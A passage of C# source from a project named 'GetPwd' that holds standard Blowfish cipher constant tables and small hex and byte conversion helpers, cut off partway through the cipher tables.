670 | 0xa02369b9,0x655abb50,0x40685a32,0x3c2ab4b3,0x319ee9d5,0xc021b8f7,
671 | 0x9b540b19,0x875fa099,0x95f7997e,0x623d7da8,0xf837889a,0x97e32d77,
672 | 0x11ed935f,0x16681281,0x0e358829,0xc7e61fd6,0x96dedfa1,0x7858ba99,
673 | 0x57f584a5,0x1b227263,0x9b83c3ff,0x1ac24696,0xcdb30aeb,0x532e3054,
674 | 0x8fd948e4,0x6dbc3128,0x58ebf2ef,0x34c6ffea,0xfe28ed61,0xee7c3c73,
675 | 0x5d4a14d9,0xe864b7e3,0x42105d14,0x203e13e0,0x45eee2b6,0xa3aaabea,
676 | 0xdb6c4f15,0xfacb4fd0,0xc742f442,0xef6abbb5,0x654f3b1d,0x41cd2105,
677 | 0xd81e799e,0x86854dc7,0xe44b476a,0x3d816250,0xcf62a1f2,0x5b8d2646,
678 | 0xfc8883a0,0xc1c7b6a3,0x7f1524c3,0x69cb7492,0x47848a0b,0x5692b285,
679 | 0x095bbf00,0xad19489d,0x1462b174,0x23820e00,0x58428d2a,0x0c55f5ea,
680 | 0x1dadf43e,0x233f7061,0x3372f092,0x8d937e41,0xd65fecf1,0x6c223bdb,
681 | 0x7cde3759,0xcbee7460,0x4085f2a7,0xce77326e,0xa6078084,0x19f8509e,
682 | 0xe8efd855,0x61d99735,0xa969a7aa,0xc50c06c2,0x5a04abfc,0x800bcadc,
683 | 0x9e447a2e,0xc3453484,0xfdd56705,0x0e1e9ec9,0xdb73dbd3,0x105588cd,
684 | 0x675fda79,0xe3674340,0xc5c43465,0x713e38d8,0x3d28f89e,0xf16dff20,
685 | 0x153e21e7,0x8fb03d4a,0xe6e39f2b,0xdb83adf7
686 | };
687 | }
688 |
689 | private uint[] SetupS2()
690 | {
691 | return new uint[] {
692 | 0xe93d5a68,0x948140f7,0xf64c261c,0x94692934,0x411520f7,0x7602d4f7,
693 | 0xbcf46b2e,0xd4a20068,0xd4082471,0x3320f46a,0x43b7d4b7,0x500061af,
694 | 0x1e39f62e,0x97244546,0x14214f74,0xbf8b8840,0x4d95fc1d,0x96b591af,
695 | 0x70f4ddd3,0x66a02f45,0xbfbc09ec,0x03bd9785,0x7fac6dd0,0x31cb8504,
696 | 0x96eb27b3,0x55fd3941,0xda2547e6,0xabca0a9a,0x28507825,0x530429f4,
697 | 0x0a2c86da,0xe9b66dfb,0x68dc1462,0xd7486900,0x680ec0a4,0x27a18dee,
698 | 0x4f3ffea2,0xe887ad8c,0xb58ce006,0x7af4d6b6,0xaace1e7c,0xd3375fec,
699 | 0xce78a399,0x406b2a42,0x20fe9e35,0xd9f385b9,0xee39d7ab,0x3b124e8b,
700 | 0x1dc9faf7,0x4b6d1856,0x26a36631,0xeae397b2,0x3a6efa74,0xdd5b4332,
701 | 0x6841e7f7,0xca7820fb,0xfb0af54e,0xd8feb397,0x454056ac,0xba489527,
702 | 0x55533a3a,0x20838d87,0xfe6ba9b7,0xd096954b,0x55a867bc,0xa1159a58,
703 | 0xcca92963,0x99e1db33,0xa62a4a56,0x3f3125f9,0x5ef47e1c,0x9029317c,
704 | 0xfdf8e802,0x04272f70,0x80bb155c,0x05282ce3,0x95c11548,0xe4c66d22,
705 | 0x48c1133f,0xc70f86dc,0x07f9c9ee,0x41041f0f,0x404779a4,0x5d886e17,
706 | 0x325f51eb,0xd59bc0d1,0xf2bcc18f,0x41113564,0x257b7834,0x602a9c60,
707 | 0xdff8e8a3,0x1f636c1b,0x0e12b4c2,0x02e1329e,0xaf664fd1,0xcad18115,
708 | 0x6b2395e0,0x333e92e1,0x3b240b62,0xeebeb922,0x85b2a20e,0xe6ba0d99,
709 | 0xde720c8c,0x2da2f728,0xd0127845,0x95b794fd,0x647d0862,0xe7ccf5f0,
710 | 0x5449a36f,0x877d48fa,0xc39dfd27,0xf33e8d1e,0x0a476341,0x992eff74,
711 | 0x3a6f6eab,0xf4f8fd37,0xa812dc60,0xa1ebddf8,0x991be14c,0xdb6e6b0d,
712 | 0xc67b5510,0x6d672c37,0x2765d43b,0xdcd0e804,0xf1290dc7,0xcc00ffa3,
713 | 0xb5390f92,0x690fed0b,0x667b9ffb,0xcedb7d9c,0xa091cf0b,0xd9155ea3,
714 | 0xbb132f88,0x515bad24,0x7b9479bf,0x763bd6eb,0x37392eb3,0xcc115979,
715 | 0x8026e297,0xf42e312d,0x6842ada7,0xc66a2b3b,0x12754ccc,0x782ef11c,
716 | 0x6a124237,0xb79251e7,0x06a1bbe6,0x4bfb6350,0x1a6b1018,0x11caedfa,
717 | 0x3d25bdd8,0xe2e1c3c9,0x44421659,0x0a121386,0xd90cec6e,0xd5abea2a,
718 | 0x64af674e,0xda86a85f,0xbebfe988,0x64e4c3fe,0x9dbc8057,0xf0f7c086,
719 | 0x60787bf8,0x6003604d,0xd1fd8346,0xf6381fb0,0x7745ae04,0xd736fccc,
720 | 0x83426b33,0xf01eab71,0xb0804187,0x3c005e5f,0x77a057be,0xbde8ae24,
721 | 0x55464299,0xbf582e61,0x4e58f48f,0xf2ddfda2,0xf474ef38,0x8789bdc2,
722 | 0x5366f9c3,0xc8b38e74,0xb475f255,0x46fcd9b9,0x7aeb2661,0x8b1ddf84,
723 | 0x846a0e79,0x915f95e2,0x466e598e,0x20b45770,0x8cd55591,0xc902de4c,
724 | 0xb90bace1,0xbb8205d0,0x11a86248,0x7574a99e,0xb77f19b6,0xe0a9dc09,
725 | 0x662d09a1,0xc4324633,0xe85a1f02,0x09f0be8c,0x4a99a025,0x1d6efe10,
726 | 0x1ab93d1d,0x0ba5a4df,0xa186f20f,0x2868f169,0xdcb7da83,0x573906fe,
727 | 0xa1e2ce9b,0x4fcd7f52,0x50115e01,0xa70683fa,0xa002b5c4,0x0de6d027,
728 | 0x9af88c27,0x773f8641,0xc3604c06,0x61a806b5,0xf0177a28,0xc0f586e0,
729 | 0x006058aa,0x30dc7d62,0x11e69ed7,0x2338ea63,0x53c2dd94,0xc2c21634,
730 | 0xbbcbee56,0x90bcb6de,0xebfc7da1,0xce591d76,0x6f05e409,0x4b7c0188,
731 | 0x39720a3d,0x7c927c24,0x86e3725f,0x724d9db9,0x1ac15bb4,0xd39eb8fc,
732 | 0xed545578,0x08fca5b5,0xd83d7cd3,0x4dad0fc4,0x1e50ef5e,0xb161e6f8,
733 | 0xa28514d9,0x6c51133c,0x6fd5c7e7,0x56e14ec4,0x362abfce,0xddc6c837,
734 | 0xd79a3234,0x92638212,0x670efa8e,0x406000e0
735 | };
736 | }
737 |
738 | private uint[] SetupS3()
739 | {
740 | return new uint[] {
741 | 0x3a39ce37,0xd3faf5cf,0xabc27737,0x5ac52d1b,0x5cb0679e,0x4fa33742,
742 | 0xd3822740,0x99bc9bbe,0xd5118e9d,0xbf0f7315,0xd62d1c7e,0xc700c47b,
743 | 0xb78c1b6b,0x21a19045,0xb26eb1be,0x6a366eb4,0x5748ab2f,0xbc946e79,
744 | 0xc6a376d2,0x6549c2c8,0x530ff8ee,0x468dde7d,0xd5730a1d,0x4cd04dc6,
745 | 0x2939bbdb,0xa9ba4650,0xac9526e8,0xbe5ee304,0xa1fad5f0,0x6a2d519a,
746 | 0x63ef8ce2,0x9a86ee22,0xc089c2b8,0x43242ef6,0xa51e03aa,0x9cf2d0a4,
747 | 0x83c061ba,0x9be96a4d,0x8fe51550,0xba645bd6,0x2826a2f9,0xa73a3ae1,
748 | 0x4ba99586,0xef5562e9,0xc72fefd3,0xf752f7da,0x3f046f69,0x77fa0a59,
749 | 0x80e4a915,0x87b08601,0x9b09e6ad,0x3b3ee593,0xe990fd5a,0x9e34d797,
750 | 0x2cf0b7d9,0x022b8b51,0x96d5ac3a,0x017da67d,0xd1cf3ed6,0x7c7d2d28,
751 | 0x1f9f25cf,0xadf2b89b,0x5ad6b472,0x5a88f54c,0xe029ac71,0xe019a5e6,
752 | 0x47b0acfd,0xed93fa9b,0xe8d3c48d,0x283b57cc,0xf8d56629,0x79132e28,
753 | 0x785f0191,0xed756055,0xf7960e44,0xe3d35e8c,0x15056dd4,0x88f46dba,
754 | 0x03a16125,0x0564f0bd,0xc3eb9e15,0x3c9057a2,0x97271aec,0xa93a072a,
755 | 0x1b3f6d9b,0x1e6321f5,0xf59c66fb,0x26dcf319,0x7533d928,0xb155fdf5,
756 | 0x03563482,0x8aba3cbb,0x28517711,0xc20ad9f8,0xabcc5167,0xccad925f,
757 | 0x4de81751,0x3830dc8e,0x379d5862,0x9320f991,0xea7a90c2,0xfb3e7bce,
758 | 0x5121ce64,0x774fbe32,0xa8b6e37e,0xc3293d46,0x48de5369,0x6413e680,
759 | 0xa2ae0810,0xdd6db224,0x69852dfd,0x09072166,0xb39a460a,0x6445c0dd,
760 | 0x586cdecf,0x1c20c8ae,0x5bbef7dd,0x1b588d40,0xccd2017f,0x6bb4e3bb,
761 | 0xdda26a7e,0x3a59ff45,0x3e350a44,0xbcb4cdd5,0x72eacea8,0xfa6484bb,
762 | 0x8d6612ae,0xbf3c6f47,0xd29be463,0x542f5d9e,0xaec2771b,0xf64e6370,
763 | 0x740e0d8d,0xe75b1357,0xf8721671,0xaf537d5d,0x4040cb08,0x4eb4e2cc,
764 | 0x34d2466a,0x0115af84,0xe1b00428,0x95983a1d,0x06b89fb4,0xce6ea048,
765 | 0x6f3f3b82,0x3520ab82,0x011a1d4b,0x277227f8,0x611560b1,0xe7933fdc,
766 | 0xbb3a792b,0x344525bd,0xa08839e1,0x51ce794b,0x2f32c9b7,0xa01fbac9,
767 | 0xe01cc87e,0xbcc7d1f6,0xcf0111c3,0xa1e8aac7,0x1a908749,0xd44fbd9a,
768 | 0xd0dadecb,0xd50ada38,0x0339c32a,0xc6913667,0x8df9317c,0xe0b12b4f,
769 | 0xf79e59b7,0x43f5bb3a,0xf2d519ff,0x27d9459c,0xbf97222c,0x15e6fc2a,
770 | 0x0f91fc71,0x9b941525,0xfae59361,0xceb69ceb,0xc2a86459,0x12baa8d1,
771 | 0xb6c1075e,0xe3056a0c,0x10d25065,0xcb03a442,0xe0ec6e0e,0x1698db3b,
772 | 0x4c98a0be,0x3278e964,0x9f1f9532,0xe0d392df,0xd3a0342b,0x8971f21e,
773 | 0x1b0a7441,0x4ba3348c,0xc5be7120,0xc37632d8,0xdf359f8d,0x9b992f2e,
774 | 0xe60b6f47,0x0fe3f11d,0xe54cda54,0x1edad891,0xce6279cf,0xcd3e7e6f,
775 | 0x1618b166,0xfd2c1d05,0x848fd2c5,0xf6fb2299,0xf523f357,0xa6327623,
776 | 0x93a83531,0x56cccd02,0xacf08162,0x5a75ebb5,0x6e163697,0x88d273cc,
777 | 0xde966292,0x81b949d0,0x4c50901b,0x71c65614,0xe6c6c7bd,0x327a140a,
778 | 0x45e1d006,0xc3f27b9a,0xc9aa53fd,0x62a80f00,0xbb25bfe2,0x35bdd2f6,
779 | 0x71126905,0xb2040222,0xb6cbcf7c,0xcd769c2b,0x53113ec0,0x1640e3d3,
780 | 0x38abbd60,0x2547adf0,0xba38209c,0xf746ce76,0x77afa1c5,0x20756060,
781 | 0x85cbfe4e,0x8ae88dd8,0x7aaaf9b0,0x4cf9aa7e,0x1948c25c,0x02fb8a8c,
782 | 0x01c36ae4,0xd6ebe1f9,0x90d4f869,0xa65cdea0,0x3f09252d,0xc208e69f,
783 | 0xb74e6132,0xce77e25b,0x578fdfe3,0x3ac372e6
784 | };
785 | }
786 |
787 | #endregion
788 |
789 | #region Conversions
790 |
791 | //gets the first byte in a uint
792 | private byte wordByte0(uint w)
793 | {
794 | return (byte)(w / 256 / 256 / 256 % 256);
795 | }
796 |
797 | //gets the second byte in a uint
798 | private byte wordByte1(uint w)
799 | {
800 | return (byte)(w / 256 / 256 % 256);
801 | }
802 |
803 | //gets the third byte in a uint
804 | private byte wordByte2(uint w)
805 | {
806 | return (byte)(w / 256 % 256);
807 | }
808 |
809 | //gets the fourth byte in a uint
810 | private byte wordByte3(uint w)
811 | {
812 | return (byte)(w % 256);
813 | }
814 |
815 | //converts a byte array to a hex string
816 | private string ByteToHex(byte[] bytes)
817 | {
818 | StringBuilder s = new StringBuilder();
819 | foreach (byte b in bytes)
820 | s.Append(b.ToString("x2"));
821 | return s.ToString();
822 | }
823 |
824 | //converts a hex string to a byte array
825 | private byte[] HexToByte(string hex)
826 | {
827 | byte[] r = new byte[hex.Length / 2];
828 | for (int i = 0; i < hex.Length - 1; i += 2)
829 | {
830 | byte a = GetHex(hex[i]);
831 | byte b = GetHex(hex[i + 1]);
832 | r[i / 2] = (byte)(a * 16 + b);
833 | }
834 | return r;
835 | }
836 |
837 | //converts a single hex character to it's decimal value
838 | private byte GetHex(char x)
839 | {
840 | if (x <= '9' && x >= '0')
841 | {
842 | return (byte)(x - '0');
843 | }
844 | else if (x <= 'z' && x >= 'a')
845 | {
846 | return (byte)(x - 'a' + 10);
847 | }
848 | else if (x <= 'Z' && x >= 'A')
849 | {
850 | return (byte)(x - 'A' + 10);
851 | }
852 | return 0;
853 | }
854 |
855 | #endregion
856 | }
857 | }
--------------------------------------------------------------------------------
/GetPwd/Blowfish.cs:
--------------------------------------------------------------------------------
1 | using System;
2 |
3 | namespace GetPwd
4 | {
5 | class Blowfish
6 | {
7 | public enum Endian { Little, Big };
8 | public static readonly int MinUserKeyLength = 1;
9 | public static readonly int MaxUserKeyLength = 56;
10 | public static readonly int BlockSize = 8;
11 |
12 | private static readonly UInt32[] OriginPBox = new UInt32[] {
13 | 0x243F6A88, 0x85A308D3, 0x13198A2E, 0x03707344, 0xA4093822, 0x299F31D0,
14 | 0x082EFA98, 0xEC4E6C89, 0x452821E6, 0x38D01377, 0xBE5466CF, 0x34E90C6C,
15 | 0xC0AC29B7, 0xC97C50DD, 0x3F84D5B5, 0xB5470917, 0x9216D5D9, 0x8979FB1B
16 | };
17 |
18 | private static readonly UInt32[,] OriginSBox = new UInt32[4, 256] {
19 | {
20 | 0xD1310BA6, 0x98DFB5AC, 0x2FFD72DB, 0xD01ADFB7, 0xB8E1AFED, 0x6A267E96, 0xBA7C9045, 0xF12C7F99, 0x24A19947, 0xB3916CF7, 0x0801F2E2, 0x858EFC16, 0x636920D8, 0x71574E69, 0xA458FEA3, 0xF4933D7E,
21 | 0x0D95748F, 0x728EB658, 0x718BCD58, 0x82154AEE, 0x7B54A41D, 0xC25A59B5, 0x9C30D539, 0x2AF26013, 0xC5D1B023, 0x286085F0, 0xCA417918, 0xB8DB38EF, 0x8E79DCB0, 0x603A180E, 0x6C9E0E8B, 0xB01E8A3E,
22 | 0xD71577C1, 0xBD314B27, 0x78AF2FDA, 0x55605C60, 0xE65525F3, 0xAA55AB94, 0x57489862, 0x63E81440, 0x55CA396A, 0x2AAB10B6, 0xB4CC5C34, 0x1141E8CE, 0xA15486AF, 0x7C72E993, 0xB3EE1411, 0x636FBC2A,
23 | 0x2BA9C55D, 0x741831F6, 0xCE5C3E16, 0x9B87931E, 0xAFD6BA33, 0x6C24CF5C, 0x7A325381, 0x28958677, 0x3B8F4898, 0x6B4BB9AF, 0xC4BFE81B, 0x66282193, 0x61D809CC, 0xFB21A991, 0x487CAC60, 0x5DEC8032,
24 | 0xEF845D5D, 0xE98575B1, 0xDC262302, 0xEB651B88, 0x23893E81, 0xD396ACC5, 0x0F6D6FF3, 0x83F44239, 0x2E0B4482, 0xA4842004, 0x69C8F04A, 0x9E1F9B5E, 0x21C66842, 0xF6E96C9A, 0x670C9C61, 0xABD388F0,
25 | 0x6A51A0D2, 0xD8542F68, 0x960FA728, 0xAB5133A3, 0x6EEF0B6C, 0x137A3BE4, 0xBA3BF050, 0x7EFB2A98, 0xA1F1651D, 0x39AF0176, 0x66CA593E, 0x82430E88, 0x8CEE8619, 0x456F9FB4, 0x7D84A5C3, 0x3B8B5EBE,
26 | 0xE06F75D8, 0x85C12073, 0x401A449F, 0x56C16AA6, 0x4ED3AA62, 0x363F7706, 0x1BFEDF72, 0x429B023D, 0x37D0D724, 0xD00A1248, 0xDB0FEAD3, 0x49F1C09B, 0x075372C9, 0x80991B7B, 0x25D479D8, 0xF6E8DEF7,
27 | 0xE3FE501A, 0xB6794C3B, 0x976CE0BD, 0x04C006BA, 0xC1A94FB6, 0x409F60C4, 0x5E5C9EC2, 0x196A2463, 0x68FB6FAF, 0x3E6C53B5, 0x1339B2EB, 0x3B52EC6F, 0x6DFC511F, 0x9B30952C, 0xCC814544, 0xAF5EBD09,
28 | 0xBEE3D004, 0xDE334AFD, 0x660F2807, 0x192E4BB3, 0xC0CBA857, 0x45C8740F, 0xD20B5F39, 0xB9D3FBDB, 0x5579C0BD, 0x1A60320A, 0xD6A100C6, 0x402C7279, 0x679F25FE, 0xFB1FA3CC, 0x8EA5E9F8, 0xDB3222F8,
29 | 0x3C7516DF, 0xFD616B15, 0x2F501EC8, 0xAD0552AB, 0x323DB5FA, 0xFD238760, 0x53317B48, 0x3E00DF82, 0x9E5C57BB, 0xCA6F8CA0, 0x1A87562E, 0xDF1769DB, 0xD542A8F6, 0x287EFFC3, 0xAC6732C6, 0x8C4F5573,
30 | 0x695B27B0, 0xBBCA58C8, 0xE1FFA35D, 0xB8F011A0, 0x10FA3D98, 0xFD2183B8, 0x4AFCB56C, 0x2DD1D35B, 0x9A53E479, 0xB6F84565, 0xD28E49BC, 0x4BFB9790, 0xE1DDF2DA, 0xA4CB7E33, 0x62FB1341, 0xCEE4C6E8,
31 | 0xEF20CADA, 0x36774C01, 0xD07E9EFE, 0x2BF11FB4, 0x95DBDA4D, 0xAE909198, 0xEAAD8E71, 0x6B93D5A0, 0xD08ED1D0, 0xAFC725E0, 0x8E3C5B2F, 0x8E7594B7, 0x8FF6E2FB, 0xF2122B64, 0x8888B812, 0x900DF01C,
32 | 0x4FAD5EA0, 0x688FC31C, 0xD1CFF191, 0xB3A8C1AD, 0x2F2F2218, 0xBE0E1777, 0xEA752DFE, 0x8B021FA1, 0xE5A0CC0F, 0xB56F74E8, 0x18ACF3D6, 0xCE89E299, 0xB4A84FE0, 0xFD13E0B7, 0x7CC43B81, 0xD2ADA8D9,
33 | 0x165FA266, 0x80957705, 0x93CC7314, 0x211A1477, 0xE6AD2065, 0x77B5FA86, 0xC75442F5, 0xFB9D35CF, 0xEBCDAF0C, 0x7B3E89A0, 0xD6411BD3, 0xAE1E7E49, 0x00250E2D, 0x2071B35E, 0x226800BB, 0x57B8E0AF,
34 | 0x2464369B, 0xF009B91E, 0x5563911D, 0x59DFA6AA, 0x78C14389, 0xD95A537F, 0x207D5BA2, 0x02E5B9C5, 0x83260376, 0x6295CFA9, 0x11C81968, 0x4E734A41, 0xB3472DCA, 0x7B14A94A, 0x1B510052, 0x9A532915,
35 | 0xD60F573F, 0xBC9BC6E4, 0x2B60A476, 0x81E67400, 0x08BA6FB5, 0x571BE91F, 0xF296EC6B, 0x2A0DD915, 0xB6636521, 0xE7B9F9B6, 0xFF34052E, 0xC5855664, 0x53B02D5D, 0xA99F8FA1, 0x08BA4799, 0x6E85076A
36 | },
37 |
38 | {
39 | 0x4B7A70E9, 0xB5B32944, 0xDB75092E, 0xC4192623, 0xAD6EA6B0, 0x49A7DF7D, 0x9CEE60B8, 0x8FEDB266, 0xECAA8C71, 0x699A17FF, 0x5664526C, 0xC2B19EE1, 0x193602A5, 0x75094C29, 0xA0591340, 0xE4183A3E,
40 | 0x3F54989A, 0x5B429D65, 0x6B8FE4D6, 0x99F73FD6, 0xA1D29C07, 0xEFE830F5, 0x4D2D38E6, 0xF0255DC1, 0x4CDD2086, 0x8470EB26, 0x6382E9C6, 0x021ECC5E, 0x09686B3F, 0x3EBAEFC9, 0x3C971814, 0x6B6A70A1,
41 | 0x687F3584, 0x52A0E286, 0xB79C5305, 0xAA500737, 0x3E07841C, 0x7FDEAE5C, 0x8E7D44EC, 0x5716F2B8, 0xB03ADA37, 0xF0500C0D, 0xF01C1F04, 0x0200B3FF, 0xAE0CF51A, 0x3CB574B2, 0x25837A58, 0xDC0921BD,
42 | 0xD19113F9, 0x7CA92FF6, 0x94324773, 0x22F54701, 0x3AE5E581, 0x37C2DADC, 0xC8B57634, 0x9AF3DDA7, 0xA9446146, 0x0FD0030E, 0xECC8C73E, 0xA4751E41, 0xE238CD99, 0x3BEA0E2F, 0x3280BBA1, 0x183EB331,
43 | 0x4E548B38, 0x4F6DB908, 0x6F420D03, 0xF60A04BF, 0x2CB81290, 0x24977C79, 0x5679B072, 0xBCAF89AF, 0xDE9A771F, 0xD9930810, 0xB38BAE12, 0xDCCF3F2E, 0x5512721F, 0x2E6B7124, 0x501ADDE6, 0x9F84CD87,
44 | 0x7A584718, 0x7408DA17, 0xBC9F9ABC, 0xE94B7D8C, 0xEC7AEC3A, 0xDB851DFA, 0x63094366, 0xC464C3D2, 0xEF1C1847, 0x3215D908, 0xDD433B37, 0x24C2BA16, 0x12A14D43, 0x2A65C451, 0x50940002, 0x133AE4DD,
45 | 0x71DFF89E, 0x10314E55, 0x81AC77D6, 0x5F11199B, 0x043556F1, 0xD7A3C76B, 0x3C11183B, 0x5924A509, 0xF28FE6ED, 0x97F1FBFA, 0x9EBABF2C, 0x1E153C6E, 0x86E34570, 0xEAE96FB1, 0x860E5E0A, 0x5A3E2AB3,
46 | 0x771FE71C, 0x4E3D06FA, 0x2965DCB9, 0x99E71D0F, 0x803E89D6, 0x5266C825, 0x2E4CC978, 0x9C10B36A, 0xC6150EBA, 0x94E2EA78, 0xA5FC3C53, 0x1E0A2DF4, 0xF2F74EA7, 0x361D2B3D, 0x1939260F, 0x19C27960,
47 | 0x5223A708, 0xF71312B6, 0xEBADFE6E, 0xEAC31F66, 0xE3BC4595, 0xA67BC883, 0xB17F37D1, 0x018CFF28, 0xC332DDEF, 0xBE6C5AA5, 0x65582185, 0x68AB9802, 0xEECEA50F, 0xDB2F953B, 0x2AEF7DAD, 0x5B6E2F84,
48 | 0x1521B628, 0x29076170, 0xECDD4775, 0x619F1510, 0x13CCA830, 0xEB61BD96, 0x0334FE1E, 0xAA0363CF, 0xB5735C90, 0x4C70A239, 0xD59E9E0B, 0xCBAADE14, 0xEECC86BC, 0x60622CA7, 0x9CAB5CAB, 0xB2F3846E,
49 | 0x648B1EAF, 0x19BDF0CA, 0xA02369B9, 0x655ABB50, 0x40685A32, 0x3C2AB4B3, 0x319EE9D5, 0xC021B8F7, 0x9B540B19, 0x875FA099, 0x95F7997E, 0x623D7DA8, 0xF837889A, 0x97E32D77, 0x11ED935F, 0x16681281,
50 | 0x0E358829, 0xC7E61FD6, 0x96DEDFA1, 0x7858BA99, 0x57F584A5, 0x1B227263, 0x9B83C3FF, 0x1AC24696, 0xCDB30AEB, 0x532E3054, 0x8FD948E4, 0x6DBC3128, 0x58EBF2EF, 0x34C6FFEA, 0xFE28ED61, 0xEE7C3C73,
51 | 0x5D4A14D9, 0xE864B7E3, 0x42105D14, 0x203E13E0, 0x45EEE2B6, 0xA3AAABEA, 0xDB6C4F15, 0xFACB4FD0, 0xC742F442, 0xEF6ABBB5, 0x654F3B1D, 0x41CD2105, 0xD81E799E, 0x86854DC7, 0xE44B476A, 0x3D816250,
52 | 0xCF62A1F2, 0x5B8D2646, 0xFC8883A0, 0xC1C7B6A3, 0x7F1524C3, 0x69CB7492, 0x47848A0B, 0x5692B285, 0x095BBF00, 0xAD19489D, 0x1462B174, 0x23820E00, 0x58428D2A, 0x0C55F5EA, 0x1DADF43E, 0x233F7061,
53 | 0x3372F092, 0x8D937E41, 0xD65FECF1, 0x6C223BDB, 0x7CDE3759, 0xCBEE7460, 0x4085F2A7, 0xCE77326E, 0xA6078084, 0x19F8509E, 0xE8EFD855, 0x61D99735, 0xA969A7AA, 0xC50C06C2, 0x5A04ABFC, 0x800BCADC,
54 | 0x9E447A2E, 0xC3453484, 0xFDD56705, 0x0E1E9EC9, 0xDB73DBD3, 0x105588CD, 0x675FDA79, 0xE3674340, 0xC5C43465, 0x713E38D8, 0x3D28F89E, 0xF16DFF20, 0x153E21E7, 0x8FB03D4A, 0xE6E39F2B, 0xDB83ADF7
55 | },
56 |
57 | {
58 | 0xE93D5A68, 0x948140F7, 0xF64C261C, 0x94692934, 0x411520F7, 0x7602D4F7, 0xBCF46B2E, 0xD4A20068, 0xD4082471, 0x3320F46A, 0x43B7D4B7, 0x500061AF, 0x1E39F62E, 0x97244546, 0x14214F74, 0xBF8B8840,
59 | 0x4D95FC1D, 0x96B591AF, 0x70F4DDD3, 0x66A02F45, 0xBFBC09EC, 0x03BD9785, 0x7FAC6DD0, 0x31CB8504, 0x96EB27B3, 0x55FD3941, 0xDA2547E6, 0xABCA0A9A, 0x28507825, 0x530429F4, 0x0A2C86DA, 0xE9B66DFB,
60 | 0x68DC1462, 0xD7486900, 0x680EC0A4, 0x27A18DEE, 0x4F3FFEA2, 0xE887AD8C, 0xB58CE006, 0x7AF4D6B6, 0xAACE1E7C, 0xD3375FEC, 0xCE78A399, 0x406B2A42, 0x20FE9E35, 0xD9F385B9, 0xEE39D7AB, 0x3B124E8B,
61 | 0x1DC9FAF7, 0x4B6D1856, 0x26A36631, 0xEAE397B2, 0x3A6EFA74, 0xDD5B4332, 0x6841E7F7, 0xCA7820FB, 0xFB0AF54E, 0xD8FEB397, 0x454056AC, 0xBA489527, 0x55533A3A, 0x20838D87, 0xFE6BA9B7, 0xD096954B,
62 | 0x55A867BC, 0xA1159A58, 0xCCA92963, 0x99E1DB33, 0xA62A4A56, 0x3F3125F9, 0x5EF47E1C, 0x9029317C, 0xFDF8E802, 0x04272F70, 0x80BB155C, 0x05282CE3, 0x95C11548, 0xE4C66D22, 0x48C1133F, 0xC70F86DC,
63 | 0x07F9C9EE, 0x41041F0F, 0x404779A4, 0x5D886E17, 0x325F51EB, 0xD59BC0D1, 0xF2BCC18F, 0x41113564, 0x257B7834, 0x602A9C60, 0xDFF8E8A3, 0x1F636C1B, 0x0E12B4C2, 0x02E1329E, 0xAF664FD1, 0xCAD18115,
64 | 0x6B2395E0, 0x333E92E1, 0x3B240B62, 0xEEBEB922, 0x85B2A20E, 0xE6BA0D99, 0xDE720C8C, 0x2DA2F728, 0xD0127845, 0x95B794FD, 0x647D0862, 0xE7CCF5F0, 0x5449A36F, 0x877D48FA, 0xC39DFD27, 0xF33E8D1E,
65 | 0x0A476341, 0x992EFF74, 0x3A6F6EAB, 0xF4F8FD37, 0xA812DC60, 0xA1EBDDF8, 0x991BE14C, 0xDB6E6B0D, 0xC67B5510, 0x6D672C37, 0x2765D43B, 0xDCD0E804, 0xF1290DC7, 0xCC00FFA3, 0xB5390F92, 0x690FED0B,
66 | 0x667B9FFB, 0xCEDB7D9C, 0xA091CF0B, 0xD9155EA3, 0xBB132F88, 0x515BAD24, 0x7B9479BF, 0x763BD6EB, 0x37392EB3, 0xCC115979, 0x8026E297, 0xF42E312D, 0x6842ADA7, 0xC66A2B3B, 0x12754CCC, 0x782EF11C,
67 | 0x6A124237, 0xB79251E7, 0x06A1BBE6, 0x4BFB6350, 0x1A6B1018, 0x11CAEDFA, 0x3D25BDD8, 0xE2E1C3C9, 0x44421659, 0x0A121386, 0xD90CEC6E, 0xD5ABEA2A, 0x64AF674E, 0xDA86A85F, 0xBEBFE988, 0x64E4C3FE,
68 | 0x9DBC8057, 0xF0F7C086, 0x60787BF8, 0x6003604D, 0xD1FD8346, 0xF6381FB0, 0x7745AE04, 0xD736FCCC, 0x83426B33, 0xF01EAB71, 0xB0804187, 0x3C005E5F, 0x77A057BE, 0xBDE8AE24, 0x55464299, 0xBF582E61,
69 | 0x4E58F48F, 0xF2DDFDA2, 0xF474EF38, 0x8789BDC2, 0x5366F9C3, 0xC8B38E74, 0xB475F255, 0x46FCD9B9, 0x7AEB2661, 0x8B1DDF84, 0x846A0E79, 0x915F95E2, 0x466E598E, 0x20B45770, 0x8CD55591, 0xC902DE4C,
70 | 0xB90BACE1, 0xBB8205D0, 0x11A86248, 0x7574A99E, 0xB77F19B6, 0xE0A9DC09, 0x662D09A1, 0xC4324633, 0xE85A1F02, 0x09F0BE8C, 0x4A99A025, 0x1D6EFE10, 0x1AB93D1D, 0x0BA5A4DF, 0xA186F20F, 0x2868F169,
71 | 0xDCB7DA83, 0x573906FE, 0xA1E2CE9B, 0x4FCD7F52, 0x50115E01, 0xA70683FA, 0xA002B5C4, 0x0DE6D027, 0x9AF88C27, 0x773F8641, 0xC3604C06, 0x61A806B5, 0xF0177A28, 0xC0F586E0, 0x006058AA, 0x30DC7D62,
72 | 0x11E69ED7, 0x2338EA63, 0x53C2DD94, 0xC2C21634, 0xBBCBEE56, 0x90BCB6DE, 0xEBFC7DA1, 0xCE591D76, 0x6F05E409, 0x4B7C0188, 0x39720A3D, 0x7C927C24, 0x86E3725F, 0x724D9DB9, 0x1AC15BB4, 0xD39EB8FC,
73 | 0xED545578, 0x08FCA5B5, 0xD83D7CD3, 0x4DAD0FC4, 0x1E50EF5E, 0xB161E6F8, 0xA28514D9, 0x6C51133C, 0x6FD5C7E7, 0x56E14EC4, 0x362ABFCE, 0xDDC6C837, 0xD79A3234, 0x92638212, 0x670EFA8E, 0x406000E0
74 | },
75 |
76 | {
77 | 0x3A39CE37, 0xD3FAF5CF, 0xABC27737, 0x5AC52D1B, 0x5CB0679E, 0x4FA33742, 0xD3822740, 0x99BC9BBE, 0xD5118E9D, 0xBF0F7315, 0xD62D1C7E, 0xC700C47B, 0xB78C1B6B, 0x21A19045, 0xB26EB1BE, 0x6A366EB4,
78 | 0x5748AB2F, 0xBC946E79, 0xC6A376D2, 0x6549C2C8, 0x530FF8EE, 0x468DDE7D, 0xD5730A1D, 0x4CD04DC6, 0x2939BBDB, 0xA9BA4650, 0xAC9526E8, 0xBE5EE304, 0xA1FAD5F0, 0x6A2D519A, 0x63EF8CE2, 0x9A86EE22,
